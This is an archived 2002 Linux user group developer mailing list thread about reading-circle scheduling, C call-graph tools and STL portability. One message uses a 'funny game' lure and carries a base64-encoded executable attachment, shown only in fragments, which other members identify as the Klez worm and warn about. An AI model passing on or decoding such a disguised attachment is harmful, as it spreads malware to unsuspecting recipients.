meeting, then? It seems kinda pointless to have it with about half of us not there.... TTYL, Phil From mmueller@signalnetware.com Sat Apr 6 11:26:53 2002 Received: from mclean.mail.mindspring.net (mclean.mail.mindspring.net [207.69.200.57]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id LAA00414 for ; Sat, 6 Apr 2002 11:26:52 -0500 Received: from user-2ivf4es.dsl.mindspring.com ([165.247.145.220] helo=there) by mclean.mail.mindspring.net with smtp (Exim 3.33 #1) id 16tt3R-0008Jl-00 for dev@trilug.org; Sat, 06 Apr 2002 11:28:41 -0500 Content-Type: text/plain; charset="iso-8859-1" From: "M. Mueller" Organization: Signalnetware, Inc. To: dev@trilug.org Subject: Re: [Dev] 4/6 reading circle: can't make it Date: Sat, 6 Apr 2002 11:20:43 -0500 X-Mailer: KMail [version 1.3.1] References: <059001c1dc60$a1cfb600$9200a8c0@adsl.duke.edu> <20020406150834.GA84766@rcfile.org> <002301c1dd85$7a37ca30$de01a8c0@calliope> In-Reply-To: <002301c1dd85$7a37ca30$de01a8c0@calliope> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.9 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Saturday 06 April 2002 11:09 am, you wrote: > Looks like about 3 of us have had to beg-off from today's meeting > for one reason or another... do the rest of you want to just call > today's meeting, then? It seems kinda pointless to have it > with about half of us not there.... Want to push off to next week or again in 2 weeks? -- Michael Mueller Signalnetware, Inc. www.signalnetware.com 919.621.6090 From billvinson@nc.rr.com Sat Apr 6 13:35:32 2002 Received: from mail4.nc.rr.com (fe4.southeast.rr.com [24.93.67.51]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id NAA01096 for ; Sat, 6 Apr 2002 13:35:32 -0500 Received: from localhost ([66.26.236.160]) by mail4.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Sat, 6 Apr 2002 13:37:22 -0500 Date: Sat, 6 Apr 2002 13:37:22 -0500 Subject: Re: [Dev] 4/6 reading circle: can't make it Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v481) From: Bill Vinson To: dev@trilug.org Content-Transfer-Encoding: 7bit In-Reply-To: Message-Id: <556C8BB4-498D-11D6-80E0-0003938CBDBC@nc.rr.com> X-Mailer: Apple Mail (2.481) Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.9 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: I'm not sure what would make sense, but I was up REALLY too late reading documentation for something else and just woke up about 30 minutes ago... So I guess I won't be making it either ;) What sounds good to everyone? I won't know until the wife gets home later to give me my schedule :) Bill On Saturday, April 6, 2002, at 11:20 AM, M. Mueller wrote: > On Saturday 06 April 2002 11:09 am, you wrote: > >> Looks like about 3 of us have had to beg-off from today's meeting >> for one reason or another... do the rest of you want to just call >> today's meeting, then? It seems kinda pointless to have it >> with about half of us not there.... > > Want to push off to next week or again in 2 weeks? From prhodes@vdsinc.com Tue Apr 9 15:14:49 2002 Received: from smarthost.mailzone.edeltacom.com ([216.154.203.117]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id PAA29672 for ; Tue, 9 Apr 2002 15:14:48 -0400 From: prhodes@vdsinc.com Received: from ([207.230.65.80]) by smarthost.mailzone.edeltacom.co with ESMTP ; Tue, 09 Apr 2002 15:15:47 -0400 (EDT) Received: from mail.vdsinc.com (66-0-79-114.deltacom.net [66.0.79.114]) by mailrtr2.mailzone.edeltacom.com (Mirapoint Messaging Server MOS 2.9.3.2) with ESMTP id ABA33602; Tue, 9 Apr 2002 15:15:42 -0400 (EDT) Subject: Re: [Dev] 4/6 reading circle: it wasn't the 2nd Saturday anyway.... To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0 (Intl) 30 March 1999 Message-ID: Date: Tue, 9 Apr 2002 15:14:26 -0400 X-MIMETrack: Serialize by Router on vdsdevnotes/vds/us(Release 5.0.2b (Intl)|16 December 1999) at 04/09/2002 03:14:32 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.9 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: > What sounds good to everyone? I won't know until the wife gets home > later to give me my schedule :) Ok, guys, check this out... there really wasn't supposed to be any meeting Saturday 4/6 anyway... if you'll look at your calendar you'll see that it was the 1st Saturday of April... as I recall, we said we were going to meet the 2nd and 4th Saturdays, not every other week... The diff is, March had 5 Saturdays in it... so this coming weekend, Saturday the 13th, would actually be the next meeting anyway... So everybody who felt guilty about begging off for Saturday.... take a sigh of relief... you have nothing to feel guilty about. :-) TTYL, Phillip Rhodes Application Designer Voice Data Solutions 919-571-4300 x225 prhodes@vdsinc.com America is at war with Afghanistan. America has always been at war with Afghanistan. Russia is our ally. Russia has always been our ally. Read Orwell's 1984. Read a newspaper. Fear the future. The history of liberty is a history of resistance. The history of liberty is a history of limitations of governmental power, not the increase of it. - Woodrow Wilson Speech in New York, September 9, 1912 Those who are willing to sacrifice essential liberties for a little order, will lose both and deserve neither. - Benjamin Franklin From mmueller@signalnetware.com Tue Apr 9 15:25:44 2002 Received: from tisch.mail.mindspring.net (tisch.mail.mindspring.net [207.69.200.157]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id PAA29740 for ; Tue, 9 Apr 2002 15:25:44 -0400 Received: from user-2ivf4es.dsl.mindspring.com ([165.247.145.220] helo=there) by tisch.mail.mindspring.net with smtp (Exim 3.33 #1) id 16v1H6-0003AA-00 for dev@trilug.org; Tue, 09 Apr 2002 15:27:29 -0400 Content-Type: text/plain; charset="iso-8859-1" From: "M. Mueller" Organization: Signalnetware, Inc. To: dev@trilug.org Subject: Re: [Dev] 4/6 reading circle: it wasn't the 2nd Saturday anyway.... Date: Tue, 9 Apr 2002 14:19:15 -0400 X-Mailer: KMail [version 1.3.1] References: In-Reply-To: MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.9 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Tuesday 09 April 2002 03:14 pm, you wrote: > So everybody who felt guilty about begging off for Saturday.... > take a sigh of relief... you have nothing to feel guilty about. whew! BTW, I saw design patterns listed as a "nice to have" skill in a want ad. Verification that this is time well spent. -- Michael Mueller Signalnetware, Inc. www.signalnetware.com 919.621.6090 From tbryan@python.net Wed Apr 17 22:04:51 2002 Received: from mail7.nc.rr.com (fe7.southeast.rr.com [24.93.67.54]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id WAA10890 for ; Wed, 17 Apr 2002 22:04:51 -0400 Received: from there ([66.26.93.159]) by mail7.nc.rr.com with Microsoft SMTPSVC(5.5.1877.687.68); Wed, 17 Apr 2002 22:06:35 -0400 Content-Type: text/plain; charset="iso-8859-1" From: Tom Bryan To: dev@trilug.org Date: Wed, 17 Apr 2002 22:26:02 +0500 X-Mailer: KMail [version 1.3.1] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-ID: <08d2a3506021242FE7@mail7.nc.rr.com> Subject: [Dev] Call graph generator? Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.9 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Does anyone know of a call graph generator for C code? Either an independent program or an extension for Emacs that does something of the sort. Thanks, ---Tom From mmueller@signalnetware.com Wed Apr 17 22:39:13 2002 Received: from granger.mail.mindspring.net (granger.mail.mindspring.net [207.69.200.148]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id WAA11048 for ; Wed, 17 Apr 2002 22:39:13 -0400 Received: from user-2ivf4es.dsl.mindspring.com ([165.247.145.220] helo=there) by granger.mail.mindspring.net with smtp (Exim 3.33 #1) id 16y1qz-0000Ru-00 for dev@trilug.org; Wed, 17 Apr 2002 22:40:57 -0400 Content-Type: text/plain; charset="iso-8859-1" From: "M. Mueller" Organization: Signalnetware, Inc. To: dev@trilug.org Subject: Re: [Dev] Call graph generator? Date: Wed, 17 Apr 2002 21:39:46 -0400 X-Mailer: KMail [version 1.3.1] References: <08d2a3506021242FE7@mail7.nc.rr.com> In-Reply-To: <08d2a3506021242FE7@mail7.nc.rr.com> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.9 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Wednesday 17 April 2002 01:26 pm, you wrote: > Does anyone know of a call graph generator for C code? Either an > independent program or an extension for Emacs that does something of the > sort. > My search for the same thing was not fruitful: 1. C-doc, commercial applicaiton, about $300 2. Doxegen, open source, it looks like you need to integrate it with the code to create a document that compiles into a executable; supposedly it will do graphs; seems to be a lifestyle choice instead of a quick and dirty graph tool; I've not talked to anyone who actually used it -- Michael Mueller Signalnetware, Inc. www.signalnetware.com 919.621.6090 From john@radiomind.com Thu Apr 18 06:40:34 2002 Received: from marconi.radiomind.com (dsl-64-192-134-85.telocity.com [64.192.134.85]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id GAA13638 for ; Thu, 18 Apr 2002 06:40:33 -0400 Received: from watt.radiomind.com (watt.radiomind.com [192.168.121.13]) by marconi.radiomind.com (Postfix) with ESMTP id DA3181B85E for ; Thu, 18 Apr 2002 06:42:17 -0400 (EDT) Subject: Re: [Dev] Call graph generator? From: John Beimler To: dev@trilug.org In-Reply-To: References: <08d2a3506021242FE7@mail7.nc.rr.com> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.3 Date: 18 Apr 2002 06:36:51 -0400 Message-Id: <1019126212.1372.3.camel@watt> Mime-Version: 1.0 Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.9 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Wed, 2002-04-17 at 21:39, M. Mueller wrote: > 2. Doxegen, open source, it looks like you need to integrate it with the code > to create a document that compiles into a executable; supposedly it will do > graphs; seems to be a lifestyle choice instead of a quick and dirty graph > tool; I've not talked to anyone who actually used it > Apache group uses it, at least there were plans to on the 2.0 tree. Can't find any good links right now, but if you google apache & doxygen you should be able to find some of it. Peace. john -- John Beimler john@radiomind.com From johndavi@us.ibm.com Thu Apr 18 08:21:33 2002 Received: from e21.nc.us.ibm.com (e21.nc.us.ibm.com [32.97.136.227]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id IAA14187 for ; Thu, 18 Apr 2002 08:21:33 -0400 Received: from southrelay02.raleigh.ibm.com (southrelay02.raleigh.us.ibm.com [9.37.3.209]) by e21.nc.us.ibm.com (8.12.2/8.12.2) with ESMTP id g3ICNILQ161302 for ; Thu, 18 Apr 2002 08:23:18 -0400 Received: from d04nms11.raleigh.ibm.com (d04nms11.raleigh.ibm.com [9.27.5.140]) by southrelay02.raleigh.ibm.com (8.11.1m3/NCO/VER6.1) with ESMTP id g3ICNIh212424 for ; Thu, 18 Apr 2002 08:23:18 -0400 Importance: Normal Sensitivity: Subject: Re: [Dev] Call graph generator? To: dev@trilug.org X-Mailer: Lotus Notes Release 5.0.5 September 22, 2000 Message-ID: From: "John F Davis" Date: Thu, 18 Apr 2002 08:22:31 -0400 X-MIMETrack: Serialize by Router on D04NMS11/04/M/IBM(Release 5.0.9a |January 7, 2002) at 04/18/2002 08:23:17 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.9 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Hello A couple of things come to mind: 1. xref - freeware dos tool for doing such stuff. I believe it was the source for the linux package below: cxref - Generates latex and HTML documentation for C programs. 2. sourcecode navigator from cygnus/redhat. Very nice. 3. id utils - doesn't do call graphs, but I use it everyday for searching for functions and symbols. 4. And if you have the money, visual slickedit. It will walk the call stack up and down. I use it now for VxWorks code and its amazing. JD "M. Mueller" @trilug.org on 04/17/2002 09:39:46 PM Please respond to dev@trilug.org Sent by: dev-admin@trilug.org To: dev@trilug.org cc: Subject: Re: [Dev] Call graph generator? On Wednesday 17 April 2002 01:26 pm, you wrote: > Does anyone know of a call graph generator for C code? Either an > independent program or an extension for Emacs that does something of the > sort. > My search for the same thing was not fruitful: 1. C-doc, commercial applicaiton, about $300 2. Doxegen, open source, it looks like you need to integrate it with the code to create a document that compiles into a executable; supposedly it will do graphs; seems to be a lifestyle choice instead of a quick and dirty graph tool; I've not talked to anyone who actually used it -- Michael Mueller Signalnetware, Inc. www.signalnetware.com 919.621.6090 _______________________________________________ Dev mailing list Dev@trilug.org http://www.trilug.org/mailman/listinfo/dev From chris@yonderway.com Thu Apr 18 23:38:01 2002 Received: from goldenrod.propagation.net (goldenrod.propagation.net [63.249.161.1]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id XAA21112 for ; Thu, 18 Apr 2002 23:38:00 -0400 Received: from crab (rdu26-58-029.nc.rr.com [66.26.58.29]) by goldenrod.propagation.net (8.8.5/8.8.5) with ESMTP id WAA11562 for ; Thu, 18 Apr 2002 22:39:22 -0500 From: Chris Hedemark To: dev@trilug.org Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-gdWVlewjrvj+DVu98M84" X-Mailer: Ximian Evolution 1.0.3 Date: 18 Apr 2002 22:46:01 -0400 Message-Id: <1019184362.8148.4.camel@crab> Mime-Version: 1.0 Subject: [Dev] test of new mailman release... please ignore. Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.10 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: --=-gdWVlewjrvj+DVu98M84 Content-Type: text/plain Content-Transfer-Encoding: quoted-printable --=20 *********************************************************** | Rev. Chris Hedemark, DD | Hillsborough, NC | http://yonderway.com | GPG Public Key - http://yonderway.com/chris/hedemark.gpg *********************************************************** --=-gdWVlewjrvj+DVu98M84 Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQA8v4TpYPuF4Zq9lvYRAhlxAJ9HwWpxbAyj3bu2CwrwakUSdart9QCfZR22 /9Hm6035nJk1n8Cn3Ywhx/0= =paWd -----END PGP SIGNATURE----- --=-gdWVlewjrvj+DVu98M84-- From brent@mutt.rcfile.org Sun Apr 21 08:05:43 2002 Received: from habanero.hesketh.net (habanero.hesketh.net [66.45.6.196]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id IAA11954 for ; Sun, 21 Apr 2002 08:05:43 -0400 Received: from mutt.rcfile.org (rdu57-226-247.nc.rr.com [66.57.226.247]) by habanero.hesketh.net (8.11.6/8.11.1) with ESMTP id g3LC7QJ06349 for ; Sun, 21 Apr 2002 08:07:26 -0400 X-Received-From: brent@mutt.rcfile.org X-Delivered-To: X-Spam-Filter: check_local@habanero.hesketh.net by digitalanswers.org X-More-Information: http://spamfighter.hesketh.net Received: from mutt.rcfile.org (localhost [127.0.0.1]) by mutt.rcfile.org (8.12.2/8.12.2) with ESMTP id g3LC7OKM061321 for ; Sun, 21 Apr 2002 08:07:24 -0400 (EDT) (envelope-from brent@mutt.rcfile.org) Received: (from brent@localhost) by mutt.rcfile.org (8.12.2/8.12.2/Submit) id g3LC7OUw061320 for dev@trilug.org; Sun, 21 Apr 2002 08:07:24 -0400 (EDT) Date: Sun, 21 Apr 2002 08:07:24 -0400 From: Brent Verner To: dev@trilug.org Subject: Re: [Dev] Call graph generator? Message-ID: <20020421120724.GC61140@rcfile.org> References: <08d2a3506021242FE7@mail7.nc.rr.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <08d2a3506021242FE7@mail7.nc.rr.com> User-Agent: Mutt/1.3.28i X-muttrc: $Id: .muttrc,v 1.9 2002/01/02 07:04:49 brent Exp $ X-uname: FreeBSD 4.5-STABLE #22: Sat Apr 6 15:47:08 EST 2002 root@mutt.rcfile.org:/usr/obj/usr/src/sys/MUTT Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.10 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: [2002-04-17 22:26] Tom Bryan said: | Does anyone know of a call graph generator for C code? Either an independent | program or an extension for Emacs that does something of the sort. The output of gprof is very informative, but not what I consider a "graph". b -- "Develop your talent, man, and leave the world something. Records are really gifts from people. To think that an artist would love you enough to share his music with anyone is a beautiful thing." -- Duane Allman From petelong@petelong.com Tue Apr 23 13:27:54 2002 Received: from albert.petelong.com (rdu25-11-200.nc.rr.com [24.25.11.200]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id NAA31427 for ; Tue, 23 Apr 2002 13:27:53 -0400 Received: from petelong.com (localhost [127.0.0.1]) by albert.petelong.com (Postfix) with SMTP id A7B5D23173 for ; Tue, 23 Apr 2002 13:30:14 -0400 (EDT) Received: from 129.33.49.202 (SquirrelMail authenticated user petelong) by albert.petelong.com with HTTP; Tue, 23 Apr 2002 13:30:14 -0400 (EDT) Message-ID: <57010.129.33.49.202.1019583014.squirrel@albert.petelong.com> Date: Tue, 23 Apr 2002 13:30:14 -0400 (EDT) From: "=?iso-8859-1?Q?Peter_Long?=" To: dev@trilug.org X-Mailer: SquirrelMail (version 1.0.6) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Subject: [Dev] =?iso-8859-1?Q?STL_portability_gotchas=3F?= Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.10 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Hi all, I was wondering if anyone knows of any STL portability issues. I am writing a small C++ application that I want to compile for Win32 (using Visual C++) as well as for Linux (using g++). I would love to use the list and map templates but I fear I would run into problems between the two platforms. Any pearls of wisdom would be appreciated. -- Peter Long mailto:petelong@petelong.com From mmueller@signalnetware.com Tue Apr 23 14:59:39 2002 Received: from mclean.mail.mindspring.net (mclean.mail.mindspring.net [207.69.200.57]) by fatalpha.trilug.org (8.9.3/8.9.3) with ESMTP id OAA32069 for ; Tue, 23 Apr 2002 14:59:39 -0400 Received: from user-2ivf4b0.dsl.mindspring.com ([165.247.145.96] helo=there) by mclean.mail.mindspring.net with smtp (Exim 3.33 #1) id 1705XW-00057o-00 for dev@trilug.org; Tue, 23 Apr 2002 15:01:22 -0400 Content-Type: text/plain; charset="iso-8859-1" From: "M. Mueller" Organization: Signalnetware, Inc. To: dev@trilug.org Subject: Re: [Dev] STL portability gotchas? Date: Tue, 23 Apr 2002 13:59:37 -0400 X-Mailer: KMail [version 1.3.1] References: <57010.129.33.49.202.1019583014.squirrel@albert.petelong.com> In-Reply-To: <57010.129.33.49.202.1019583014.squirrel@albert.petelong.com> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.10 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: On Tuesday 23 April 2002 01:30 pm, you wrote: > Hi all, > > I was wondering if anyone knows of any STL portability issues. I am writing > a small C++ application that I want to compile for Win32 (using Visual C++) > as well as for Linux (using g++). I would love to use the list and map > templates but I fear I would run into problems between the two platforms. > Any pearls of wisdom would be appreciated. I can't say from experience, but the Standard in STL probably means just that. Now if your concern is that MS-STL may not be portable, then I you may have a justified concern. Maybe they have MS-STL# for C#, .NET and ActiveX :-). Look in the MS documentation for any enhancements and avoid those if they exist. I advocate using some of the examples from Nicolai M Josuttis's *The C++ Standard Library, A Tutorial and Reference*, and compile and run them in both environments (open source and closed). You can get them from the book's website. I'll bet they run just fine in both environments. I'm stuffing everything into STL containers now. They're a time saver and quality improver. I am counting on them being portable between CPU architectures and OS. -- Michael Mueller Signalnetware, Inc. www.signalnetware.com 919.621.6090 From scmorris@verizon.net Mon May 6 12:09:05 2002 Received: from out002.verizon.net (out002pub.verizon.net [206.46.170.141]) by fatalpha.trilug.org (8.11.6/8.11.6) with ESMTP id g46G8a330256 for ; Mon, 6 May 2002 12:08:36 -0400 Received: from Baqrddn ([213.8.53.81]) by out002.verizon.net (InterMail vM.5.01.04.05 201-253-122-122-105-20011231) with SMTP id <20020506160428.RBT4379.out002.verizon.net@Baqrddn> for ; Mon, 6 May 2002 11:04:28 -0500 From: scmorris To: dev@trilug.org MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=X0L3d9733m7s10V1WmboUT810j101V1 Message-Id: <20020506160428.RBT4379.out002.verizon.net@Baqrddn> Date: Mon, 6 May 2002 11:05:53 -0500 Subject: [Dev] A funny game Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.10 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: --X0L3d9733m7s10V1WmboUT810j101V1 Content-Type: text/html; Content-Transfer-Encoding: quoted-printable Hi,This is a funny game
This game is my first work.
You're the first player.
I wish you would like it. --X0L3d9733m7s10V1WmboUT810j101V1 Content-Type: application/octet-stream; name=demo.exe Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA 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cmVuZHJlIGVuIGNvbnNjaWVuY2UgY2UgcXUmIzE0Njtlc3QgbGEgciZlYWN1dGU7YWxpdCZl YWN1dGU7IGQmIzE0NjthdWpvdXJkJiMxNDY7aHVpJiMxMzM7PGJyPgoJCTxicj4KCQlBbGV4 YW5kcmUgSi48YnI+CgkJQm91bG9nbmUgKDkyKTxicj4KCQk8L2ZvbnQ+Cgk8L2JvZHk+Cgo8 L2h0bWw+Cj== --X0L3d9733m7s10V1WmboUT810j101V1-- From jeremyp@pobox.com Mon May 6 12:44:13 2002 Received: from mail.ntrnet.net (mail.ntrnet.net [206.66.160.21]) by fatalpha.trilug.org (8.11.6/8.11.6) with ESMTP id g46GiC330586 for ; Mon, 6 May 2002 12:44:12 -0400 Received: from shell.ntrnet.net (IDENT:jeremy@shell.ntrnet.net [206.66.160.7]) by mail.ntrnet.net (8.12.1/8.12.1) with ESMTP id g46Ge9cm007112 for ; Mon, 6 May 2002 12:40:10 -0400 Date: Mon, 6 May 2002 12:41:00 -0400 (EDT) From: Jeremy P X-Sender: jeremy@shell.ntrnet.net To: dev@trilug.org In-Reply-To: <20020506160428.RBT4379.out002.verizon.net@Baqrddn> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [Dev] Virus Alert... seriously Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.10 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Hey everyone, Someone on this list has the "Klez" virus. Please, everyone with Windows, update your Anti-Virus packages, or switch to Linux! :-) Here's an article about this virus. There's a free removal tool available from Symantec.com also. http://www.wired.com/news/technology/0,1282,52174,00.html --Jeremy On Mon, 6 May 2002, scmorris wrote: [virus-filled attachments] From dac@cafaro.net Mon May 6 12:50:18 2002 Received: from c007.snv.cp.net (h000.c007.snv.cp.net [209.228.33.228]) by fatalpha.trilug.org (8.11.6/8.11.6) with SMTP id g46GoH330639 for ; Mon, 6 May 2002 12:50:18 -0400 Received: (cpmta 15970 invoked from network); 6 May 2002 09:47:37 -0700 Received: from 68.55.232.209 (HELO kara.cafaro.net) by smtp.cafaro.net (209.228.33.228) with SMTP; 6 May 2002 09:47:37 -0700 X-Sent: 6 May 2002 16:47:37 GMT Message-Id: <5.1.1.2.0.20020506123406.0386b1d8@mail.cafaro.net> X-Sender: (Unverified) X-Mailer: QUALCOMM Windows Eudora Version 5.1.1.3 (Beta) Date: Mon, 06 May 2002 12:45:38 -0400 To: dev@trilug.org, scmorris From: "David A. Cafaro" Subject: Re: [Dev] A funny game (really a virus) In-Reply-To: <20020506160428.RBT4379.out002.verizon.net@Baqrddn> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.10 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Nice virus.... W32.Klez.gen@mm virus Might want to scan your windows system. At 12:05 PM 5/6/2002, scmorris wrote: >Content-Type: text/html; > >Hi,This is a funny game >This game is my first work. >You're the first player. >I wish you would like it. From dac@cafaro.net Mon May 6 12:52:19 2002 Received: from c007.snv.cp.net (h012.c007.snv.cp.net [209.228.33.240]) by fatalpha.trilug.org (8.11.6/8.11.6) with SMTP id g46GqI330668 for ; Mon, 6 May 2002 12:52:18 -0400 Received: (cpmta 13931 invoked from network); 6 May 2002 09:49:34 -0700 Received: from 68.55.232.209 (HELO kara.cafaro.net) by smtp.cafaro.net (209.228.33.240) with SMTP; 6 May 2002 09:49:34 -0700 X-Sent: 6 May 2002 16:49:34 GMT Message-Id: <5.1.1.2.0.20020506124559.00b13198@mail.cafaro.net> X-Sender: (Unverified) X-Mailer: QUALCOMM Windows Eudora Version 5.1.1.3 (Beta) Date: Mon, 06 May 2002 12:47:35 -0400 To: dev@trilug.org From: "David A. Cafaro" Subject: Re: [Dev] Virus Alert... seriously In-Reply-To: References: <20020506160428.RBT4379.out002.verizon.net@Baqrddn> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: dev-admin@trilug.org Errors-To: dev-admin@trilug.org X-BeenThere: dev@trilug.org X-Mailman-Version: 2.0.10 Precedence: bulk Reply-To: dev@trilug.org List-Help: List-Post: List-Subscribe: , List-Id: Discussion of scripts, programs, and development List-Unsubscribe: , List-Archive: Yeah, I saw that one. Norton picked it up before anything could happen to my system, not to mention I don't run .exe files that I get through the email usually. (happen to be at work and using Windoze at the moment...) At 12:41 PM 5/6/2002, you wrote: >Hey everyone, >Someone on this list has the "Klez" virus. > >Please, everyone with Windows, update your Anti-Virus packages, or switch >to Linux! :-) > >Here's an article about this virus. There's a free removal tool available >from Symantec.com also. > >http://www.wired.com/news/technology/0,1282,52174,00.html > >--Jeremy > >On Mon, 6 May 2002, scmorris wrote: > >[virus-filled attachments] > >_______________________________________________ >Dev mailing list >Dev@trilug.org 